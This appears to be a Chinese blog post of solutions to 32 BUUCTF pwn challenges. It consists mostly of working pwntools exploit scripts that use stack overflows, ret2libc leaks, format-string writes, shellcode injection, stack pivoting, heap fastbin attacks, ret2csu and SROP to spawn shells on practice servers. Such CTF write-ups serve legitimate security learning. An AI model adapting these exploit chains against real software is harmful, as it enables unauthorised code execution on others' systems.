温故而知新,可以为师矣。所以花了几天时间重新做了下 buuctf 的 pwn 题,先发下第一页共 32 题的题解。还有如果题解都很详细那么本文就太长了,写起来也浪费时间,所以比较简单的题就直接丢 exp 了,不懂可以去看其他人的题解,难的题我觉得我写的题解应该是挺详细的。截至到发文日期,只要是涉及 libc 的题目的 exp 都是能打通远程的。如有错误评论欢迎指正。
test_your_nc
直接 nc 连接即可得到 shell
rip
简单的 ret2text ,不过靶机是 ubuntu18 ,要注意用 ret 指令进行栈平衡
from pwn import * from LibcSearcher import * context.log_level='debug' p = remote('node4.buuoj.cn', 28520) #p = process('pwn1') elf = ELF('pwn1') #p.recv() ret = 0x0000000000401016 payload = b'a'*(0xf+8) + p64(ret) + p64(elf.sym['fun']) p.sendline(payload) p.interactive()
warmup_csaw_2016
from pwn import * from LibcSearcher import * context.log_level='debug' p = remote('node4.buuoj.cn', 26284) #p = process('pwn1') elf = ELF('pwn1') p.recv() payload = b'a'*(0x40+8) + p64(0x40060d) p.sendline(payload) p.interactive()
ciscn_2019_n_1
直接通过 IDA 查看 v1 与 v2 的距离,通过溢出覆盖 v2 的值
from pwn import * p = remote("node4.buuoj.cn",26954) payload = b'a'*44 + p64(0x41348000) //应该将浮点数转为十六进制 p.send(payload) p.interactive()
pwn1_sctf_2016
这里的fgets限制了输入的长度,一看是没有溢出漏洞的,但是下面的replace函数会将输入的 ‘I' 替换成 ’you‘,我们可以根据这个实现溢出漏洞
于是构造exp如下
from pwn import * connect = 1 if connect: p = remote("node4.buuoj.cn",29821) else: p = process('1') payload = b'I'*20 + b'a'*4 + p32(0x8048F0D) p.send(payload) p.interactive()
jarvisoj_level0
from pwn import * from LibcSearcher import * context.log_level='debug' p = remote('node4.buuoj.cn', 26366) #p = process('pwn1') elf = ELF('level0') p.recv() payload = b'a'*0x88 + p64(elf.sym['callsystem']) p.sendline(payload) p.interactive()
[第五空间2019 决赛]PWN5
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from pwn import * from LibcSearcher import * p = process("./pwn") data_addr = 0x804c044 payload = p32(data_addr) + b"%10$n" p.recv() p.sendline(payload) p.recv() p.sendline(b'4') p.interactive()
也可以利用 pwntools 的 fmtstr_payload 实现
from pwn import * proc_name = './pwn' sh = process(proc_name) unk_804C044 = 0x804C044 payload = fmtstr_payload(10, {unk_804C044: 0x1}) sh.sendline(payload) sh.sendline(str(0x1)) sh.interactive()
ciscn_2019_c_1
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利用 \x00 进行字符截断,就不会对后面的 payload 进行加密了
之后就是 ret2libc,并且要注意栈平衡
from pwn import * from LibcSearcher import * #p = process("./1") p = remote("node4.buuoj.cn", 28810) elf = ELF("./1") pop_rdi = 0x0000000000400c83 ret = 0x00000000004006b9 puts_got = elf.got["puts"] puts_plt = elf.plt["puts"] main_addr = elf.symbols["main"] #first : get puts_addr payload1 = b'\0' + b'a'*(0x50 + 7) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr) p.sendlineafter('Input your choice!\n', '1') p.sendlineafter('Input your Plaintext to be encrypted\n', payload1) p.recvline() #注意这里接受两行 p.recvline() text = p.recv() puts_addr = u64(text[:6].ljust(8,b'\x00')) //实测如果这里不补足8位,u64无法转换 #secode : get libcbase and other fuction addrs libc = LibcSearcher("puts", puts_addr) libcbase = puts_addr - libc.dump("puts") #print(libcbase) system_addr = libcbase + libc.dump("system") binsh_addr = libcbase + libc.dump("str_bin_sh") #third : get shell p.sendline(b'1') p.recv() payload2 = b'\0' + b'a'*(0x50 + 7) + p64(ret) + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr) p.sendline(payload2) p.interactive()
ciscn_2019_n_8
如图,QWORD 代表代表了两个字节,将var[17]赋值为17即可
from pwn import* #p = process("./1") p = remote("node4.buuoj.cn", 29946) p.recv() payload = b'a'*13*4 + p64(0x11) #payload = p32(17)*14 p.sendline(payload) p.interactive()
jarvisoj_level2
from pwn import * from LibcSearcher import * context.log_level='debug' #p = remote('node4.buuoj.cn', 27484) p = process('pwn') elf = ELF('pwn') p.recv() payload = b'a'*140 + p32(elf.sym['system']) + p32(0) + p32(next(elf.search(b'/bin/sh\x00'))) p.sendline(payload) p.interactive() p.recv()
bjdctf_2020_babystack
from pwn import * from LibcSearcher import * context.log_level='debug' #p = process('pwn') p = remote('node4.buuoj.cn', 27053) elf = ELF('pwn') p.recv() payload = b'a'*24 + p64(elf.sym['backdoor']) p.sendline(b'50') p.recv() p.sendline(payload) p.interactive()
[OGeek2019]babyrop
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from pwn import * from LibcSearcher import * context.log_level='debug' #p = process('pwn') p = remote('node4.buuoj.cn', 28494) elf = ELF('pwn') payload = b'\x00' + b'\xff'*7 p.sendline(payload) p.recv() payload = b'a'*235 + p32(elf.sym['puts']) + p32(0x8048825) + p32(elf.got['puts']) p.send(payload) puts_addr = u32(p.recvuntil(b'\xf7')) print(hex(puts_addr)) libc = ELF('buu/libc-2.23.so') libcbase = puts_addr - libc.sym['puts'] system = libcbase + libc.sym['system'] binsh = libcbase + next(libc.search(b'/bin/sh\x00')) payload = b'\x00' + b'\xff'*7 p.sendline(payload) p.recv() payload = b'a'*235 + p32(system) + p32(0) + p32(binsh) p.sendline(payload) p.interactive()
get_started_3dsctf_2016
有个坑点,如果没有跳转到exit函数结束的话,程序不能够回显,即flag不会被输出到屏幕上
from pwn import * from LibcSearcher import * context.log_level = 'debug' #context(os='linux', arch='amd64') #p = process('./1') p = remote('node4.buuoj.cn', 27088) elf = ELF('1') exit_addr = elf.symbols['exit'] getflag_addr = elf.symbols['get_flag'] payload = b'a'*56 + p32(getflag_addr) + p32(exit_addr) + p32(0x308CD64F) + p32(0x195719D1) p.sendline(payload) print(p.recv())
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于是我们构造以下payload
from pwn import * from LibcSearcher import * context.log_level = 'debug' #context(os='linux', arch='amd64') #p = process('./1') p = remote('node4.buuoj.cn', 27088) elf = ELF('1') pop3_addr = 0x0806fc08 mprotect_addr = elf.symbols['mprotect'] read_addr = elf.symbols['read'] buf_addr = 0x080eb000 payload = b'a'*56 payload += p32(mprotect_addr) + p32(pop3_addr) + p32(buf_addr) + p32(0x1000) + p32(0x7) payload += p32(read_addr) + p32(pop3_addr) + p32(0) + p32(buf_addr) + p32(0x100) payload += p32(buf_addr) p.sendline(payload) shellcode = asm(shellcraft.sh()) p.sendline(shellcode) p.interactive()
jarvisoj_level2_x64
64位下的 ret2text
from pwn import * from LibcSearcher import * context.log_level='debug' #p = process('pwn') p = remote('node4.buuoj.cn', 28941) elf = ELF('pwn') rdi = 0x4006b3 payload = b'a'*0x88 + p64(rdi) + p64(next(elf.search(b'/bin/sh\x00'))) + p64(elf.sym['system']) p.recv() p.sendline(payload) p.interactive()
[HarekazeCTF2019]baby_rop
from pwn import * from LibcSearcher import * context.log_level='debug' #p = process('pwn') p = remote('node4.buuoj.cn', 27109) elf = ELF('pwn') rdi = 0x400683 payload = b'a'*0x18 + p64(rdi) + p64(next(elf.search(b'/bin/sh\x00'))) + p64(elf.sym['system']) p.recv() p.sendline(payload) p.interactive()
ciscn_2019_en_2
from pwn import * from LibcSearcher import * context.log_level='debug' #p = process('pwn') p = remote('node4.buuoj.cn', 29131) elf = ELF('pwn') ret = 0x4006b9 rdi = 0x400c83 p.recv() p.sendline(b'1') payload = b'\x00' + b'a'*0x57 + p64(rdi) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(elf.sym['main']) p.sendlineafter(b'Input your Plaintext to be encrypted\n', payload) puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) #print(hex(puts_addr)) libc = ELF('buu/libc-2.27-x64.so') libcbase = puts_addr - libc.sym['puts'] system = libcbase + libc.sym['system'] binsh = libcbase + next(libc.search(b'/bin/sh\x00')) p.recv() p.sendline(b'1') payload = b'\x00' + b'a'*0x57 + p64(ret) + p64(rdi) + p64(binsh) + p64(system) p.sendlineafter(b'Input your Plaintext to be encrypted\n', payload) p.interactive()
not_the_same_3dsctf_2016
跟前面一道题比较类似
from pwn import * from LibcSearcher import * context.log_level = 'debug' #context(os='linux', arch='amd64') #p = process('./1') p = remote('node4.buuoj.cn', 28016) elf = ELF('1') get_secret_addr = elf.symbols['get_secret'] exit_addr = elf.symbols['exit'] write_addr = elf.symbols['write'] flag_addr = 0x080ECA2D payload = b'a'*45 + p32(get_secret_addr) + p32(write_addr) + p32(exit_addr) + p32(1) + p32(flag_addr) + p32(0x100) p.sendline(payload) print(p.recv())
ciscn_2019_n_5
from pwn import * from LibcSearcher import * context.log_level='debug' #p = process('pwn') p = remote('node4.buuoj.cn', 26628) elf = ELF('pwn') ret = 0x00000000004004c9 rdi = 0x0000000000400713 p.sendlineafter(b'tell me your name\n', 'w1nd') payload = b'a'*0x28 + p64(rdi) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(elf.sym['main']) p.sendlineafter(b'What do you want to say to me?\n', payload) puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) libc = ELF('buu/libc-2.27-x64.so') libcbase = puts_addr - libc.sym['puts'] system = libcbase + libc.sym['system'] binsh = libcbase + next(libc.search(b'/bin/sh\x00')) p.sendlineafter(b'tell me your name\n', 'w1nd') payload = b'a'*0x28 + p64(ret) + p64(rdi) + p64(binsh) + p64(system) p.sendlineafter(b'What do you want to say to me?\n', payload) p.interactive()
others_shellcode
直接 nc
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ciscn_2019_ne_5
这里的 strcpy 函数导致了栈溢出漏洞
在构造payload的时候,记得system函数地址后的返回地址四个字节不能有一个为零,否则strcpy函数复制的时候遇到 \x00 就不继续复制了
from pwn import * from LibcSearcher import * #context.log_level = 'debug' #context(os='linux', arch='amd64') #p = process('./1') p = remote("node4.buuoj.cn", 29577) elf = ELF('1') system_addr = elf.symbols['system'] sh_addr = next(elf.search(b'sh\x00')) ret = 0x0804843e p.sendlineafter('Please input admin password', 'administrator') p.sendlineafter('0.Exit\n:', '1') payload = b'a'*(0x48+4) + p32(system_addr) + b'a'*4 + p32(sh_addr) #所以这里写成了 b'a'*4 p.sendlineafter('Please input new log info:', payload) p.sendlineafter('0.Exit\n:', '4') p.interactive()
铁人三项(第五赛区)_2018_rop
这里用 write 泄露 libc,其它都很寻常的 ret2libc
from pwn import * from LibcSearcher import * context.log_level='debug' #p = process('pwn') p = remote('node4.buuoj.cn', 29939) elf = ELF('pwn') payload = b'a'*0x8c + p32(elf.sym['write']) + p32(elf.sym['main']) + p32(1) + p32(elf.got['write']) + p32(0x4) p.sendline(payload) write_addr = u32(p.recv()) libc = ELF('buu/libc-2.27.so') libcbase = write_addr - libc.sym['write'] system = libcbase + libc.sym['system'] binsh = libcbase + next(libc.search(b'/bin/sh\x00')) payload = b'a'*0x8c + p32(system) + p32(0) + p32(binsh) p.sendline(payload) p.interactive()
bjdctf_2020_babyrop
from pwn import * from LibcSearcher import * context.log_level='debug' #p = process('pwn') p = remote('node4.buuoj.cn', 26698) elf = ELF('pwn') rdi = 0x400733 ret = 0x4004c9 payload = b'a'*0x28 + p64(rdi) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(elf.sym['main']) p.sendlineafter(b'story!\n', payload) puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) libc = ELF('buu/libc-2.23-x64.so') libcbase = puts_addr - libc.sym['puts'] system = libcbase + libc.sym['system'] binsh = libcbase + next(libc.search(b'/bin/sh\x00')) payload = b'a'*0x28 + p64(rdi) + p64(binsh) + p64(system) p.sendlineafter(b'story!\n', payload) p.interactive()
bjdctf_2020_babystack2
from pwn import * from LibcSearcher import * context.log_level='debug' #p = process('pwn') p = remote('node4.buuoj.cn', 27408) elf = ELF('pwn') p.sendlineafter(b'your name:\n', '-1') payload = b'a'*0x18 + p64(elf.sym['backdoor']) p.sendlineafter(b'u name?\n', payload) p.interactive()
jarvisoj_fm
格式化字符串漏洞
exp
from pwn import * from LibcSearcher import * context.log_level='debug' p = process('pwn') #p = remote('node4.buuoj.cn', 26628) elf = ELF('pwn') x_addr = 0x804A02C #payload = fmtstr_payload(11,{x_addr:4}) payload = p32(x_addr) + b'%11$n' p.sendline(payload) #print(p.recv()) p.interactive()
pwn2_sctf_2016
简单的整数溢出和 ret2libc,但是坑的是
看汇编代码才发现,原来程序读字符串用的是自定义的 get_n 函数
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from pwn import * from LibcSearcher import * context.log_level='debug' #p = process('pwn') p = remote('node4.buuoj.cn', 25339) elf = ELF('pwn') p.sendlineafter(b'to read?', b'-1') payload = b'a'*0x30 + p32(elf.plt['printf']) + p32(elf.sym['main']) + p32(0x80486F8) + p32(elf.got['printf']) p.sendlineafter(b'bytes of data!\n', payload) p.recvline() p.recvuntil(b'You said: ') printf_addr = u32(p.recv(4)) libc = ELF('buu/libc-2.23.so') libcbase = printf_addr - libc.sym['printf'] system = libcbase + libc.sym['system'] binsh = libcbase + next(libc.search(b'/bin/sh\x00')) p.sendlineafter(b'to read?', b'-1') payload = b'a'*0x30 + p32(system) + b'a'*4 + p32(binsh) #注意这里 p.sendlineafter(b'bytes of data!\n', payload) p.interactive()
ciscn_2019_es_2
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payload 构成如下
IDA中可以找到很多 leave 指令
exp如下
from pwn import * from LibcSearcher import * #context.log_level = 'debug' #context(os='linux', arch='amd64') #p = process('./1') p = remote('node4.buuoj.cn', 28244) elf = ELF('1') leave = 0x080484B8 system_addr = elf.symbols['system'] p.send(b'a'*36 + b'stop') p.recvuntil(b'stop') ebp = u32(p.recv(4)) payload = (b'a'*4 + p32(system_addr) + b'a'*4 + p32(ebp-0x28) + b'/bin/sh\x00').ljust(0x28, b'a') payload += p32(ebp-0x38) + p32(leave) p.send(payload) p.interactive()
[HarekazeCTF2019]baby_rop2
64位下的 printf 函数泄露 libc
from pwn import * from LibcSearcher import * context.log_level='debug' #p = process('pwn') p = remote('node4.buuoj.cn', 27227) elf = ELF('pwn') rdi = 0x400733 rsi_r15 = 0x400731 ret = 0x4004d1 #%s str_s = 0x400770 payload = b'a'*0x28 + p64(rdi) + p64(str_s) + p64(rsi_r15) + p64(elf.got['read']) + p64(0) + p64(elf.plt['printf']) + p64(elf.sym['main']) p.sendlineafter(b'What\'s your name? ',payload) p.recvline() read_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) libc = ELF('buu/libc-2.23-x64.so') libcbase = read_addr - libc.sym['read'] system = libcbase + libc.sym['system'] binsh = libcbase + next(libc.search(b'/bin/sh\x00')) payload = b'a'*0x28 + p64(rdi) + p64(binsh) + p64(system) p.sendlineafter(b'What\'s your name? ',payload) p.interactive()
jarvisoj_tell_me_something
需要 gdb 动态调试 ,或者注意下汇编代码
from pwn import * from LibcSearcher import * context.log_level='debug' #p = process('pwn') p = remote('node4.buuoj.cn', 28205) elf = ELF('pwn') rdi = 0x400668 ret = 0x400469 payload = b'a'*0x88 + p64(elf.sym['good_game']) p.sendlineafter(b'Input your message:\n', payload) p.recv() p.recv()
babyheap_0ctf_2017
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allocate(0x10) allocate(0x10) allocate(0x10) allocate(0x10) allocate(0x80) free(1) free(2)
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payload = p64(0)*3 + p64(0x21) + p64(0)*3 + p64(0x21) + p8(0x80) fill(0,payload)
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payload = p64(0)*3 + p64(0x21) fill(3,payload)
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allocate(0x10) allocate(0x10) payload = p64(0)*3 + p64(0x91) fill(3,payload) allocate(0x80) free(4)
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allocate(0x60) free(4)
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payload = p64(libcbase + 0x3c4aed) fill(2,payload)
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allocate(0x60) allocate(0x60)
one_gadget = libcbase + 0x4526a payload = b'a'*0x13 + p64(one_gadget) fill(6, payload) allocate(0x10) #跳转到 one_gadget
from pwn import * from LibcSearcher import * context.log_level='debug' context(os='linux', arch='amd64') p = process('./pwn') #p = remote('node4.buuoj.cn', 28357) elf = ELF('./pwn') libc = ELF('./buu/libc-2.23-x64.so') def allocate(size): p.sendlineafter("Command:", '1') p.sendlineafter("Size:", str(size)) def fill(index, content): p.sendlineafter("Command:", '2') p.sendlineafter("Index:", str(index)) p.sendlineafter("Size:", str(len(content))) p.sendafter("Content:", content) def free(index): p.sendlineafter("Command:", '3') p.sendlineafter("Index:", str(index)) def dump(index): p.sendlineafter("Command:", '4') p.sendlineafter("Index:", str(index)) allocate(0x10) allocate(0x10) allocate(0x10) allocate(0x10) allocate(0x80) free(1) free(2) payload = p64(0)*3 + p64(0x21) + p64(0)*3 + p64(0x21) + p8(0x80) fill(0,payload) payload = p64(0)*3 + p64(0x21) fill(3,payload) allocate(0x10) allocate(0x10) payload = p64(0)*3 + p64(0x91) fill(3,payload) allocate(0x80) free(4) dump(2) p.recv() main_arena_0x58 = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) #libc_malloc_hook = 0x3c4b10 libcbase = main_arena_0x58 - 0x3c4b78 print('libcbase => ',hex(libcbase)) allocate(0x60) free(4) payload = p64(libcbase + 0x3c4aed) fill(2,payload) allocate(0x60) allocate(0x60) one_gadget = libcbase + 0x4526a payload = b'a'*0x13 + p64(one_gadget) fill(6, payload) allocate(0x10) p.interactive()
jarvisoj_level3
from pwn import * from LibcSearcher import * context.log_level='debug' #p = process('pwn') p = remote('node4.buuoj.cn', 29138) elf = ELF('pwn') payload = b'a'*140 + p32(elf.sym['write']) + p32(elf.sym['main']) + p32(0x1) + p32(elf.got['write']) + p32(0x4) p.sendlineafter(b'Input:\n', payload) write_addr = u32(p.recvuntil(b'\xf7')) print('write_addr=>',hex(write_addr)) libc = ELF('buu/libc-2.23.so') libcbase = write_addr - libc.sym['write'] one_gadget = libcbase + 0x3a80c payload = b'a'*140 + p32(one_gadget) p.sendlineafter(b'Input:\n', payload) p.interactive()
ciscn_2019_s_3
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$rax==59 $rdi== binsh_addr $rsi==0 $rdx==0 syscall
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/bin/sh\x00 # binsh_addr
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b'a'*8 #填充到 ret
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rbx_rbp_r12_r13_r14_r15
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rbx => 0
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rbp => 1 #避免跳转
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r12 =>
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r13 => 0
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r14 => 0
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r15 => 0
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r13_rdx # rdx 赋值完毕 开始执行 call cmp 指令
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rdi # call 应该跳转到这里,binsh_addr + 0x50
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rdi => binsh_addr # rdi 赋值完毕
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rsi_r15
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rsi => 0 # rsi 赋值完毕
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r15 => 0
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rax_3b
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rax => 3b # rax 赋值完毕
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syscall #进行系统调用 getshell
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from pwn import * from LibcSearcher import * context.log_level='debug' #p = process('pwn') p = remote('node4.buuoj.cn', 26376) elf = ELF('pwn') rax_3b = 0x4004E2 rdi = 0x4005a3 rsi_r15 = 0x4005a1 rbx_rbp_r12_r13_r14_r15 = 0x40059A r13_rdx = 0x400580 syscall = 0x400517 payload = b'a'*0x10 + p64(elf.sym['vuln']) p.sendline(payload) p.recv(0x20) binsh = u64(p.recv(6).ljust(8, b'\x00')) - 0x118 print('binsh=>',hex(binsh)) payload = b'/bin/sh\x00' payload = payload.ljust(0x10, b'a') payload += p64(rbx_rbp_r12_r13_r14_r15) + p64(0) + p64(1) + p64(binsh + 0x50) + p64(0)*3 payload += p64(r13_rdx) payload += p64(rdi) + p64(binsh) payload += p64(rsi_r15) + p64(0)*2 payload += p64(rax_3b) payload += p64(syscall) p.sendline(payload) p.interactive()
from pwn import * from LibcSearcher import * context.log_level='debug' context(os='linux', arch='amd64') #p = process('pwn') p = remote('node4.buuoj.cn', 26376) elf = ELF('pwn') rax_15 = 0x4004DA syscall = 0x400517 payload = b'a'*0x10 + p64(elf.sym['vuln']) p.sendline(payload) p.recv(0x20) binsh = u64(p.recv(6).ljust(8, b'\x00')) - 0x118 print('binsh=>',hex(binsh)) # 设置sigframe关键寄存器 sigframe = SigreturnFrame() sigframe.rax = constants.SYS_execve sigframe.rdi = binsh sigframe.rsi = 0 sigframe.rdx = 0 sigframe.rip = syscall print('sigframe.rax:',sigframe.rax) payload = b'/bin/sh\x00'*2 + p64(rax_15) + p64(syscall) + flat(sigframe) p.sendline(payload) p.interactive()
ez_pz_hackover_2016
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from pwn import * p=process('./1') context.log_level='debug' gdb.attach(p,'b *0x8048600') p.recvuntil('crash: ') stack=int(p.recv(10),16) print(hex(stack)) payload=b'crashme\x00' + b'a'*4 p.sendline(payload) pause()
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from pwn import * p=process('./1') context.log_level='debug' p.recvuntil('crash: ') stack=int(p.recv(10),16) print(hex(stack)) payload=b'crashme\x00'+b'a'*(0x16+4-8) + p32(stack-0x1c) + asm(shellcraft.sh()) p.sendline(payload) p.interactive()
这里比较坑的是,不知道是不是我环境配置的原因,我用 ubuntu16 和 ubuntu18 这两台是无法成功动态调试的,一按 c 就程序就直接结束了,根本不理会是否设置了断点,换了 ubuntu22 和 kali 才能正常调试
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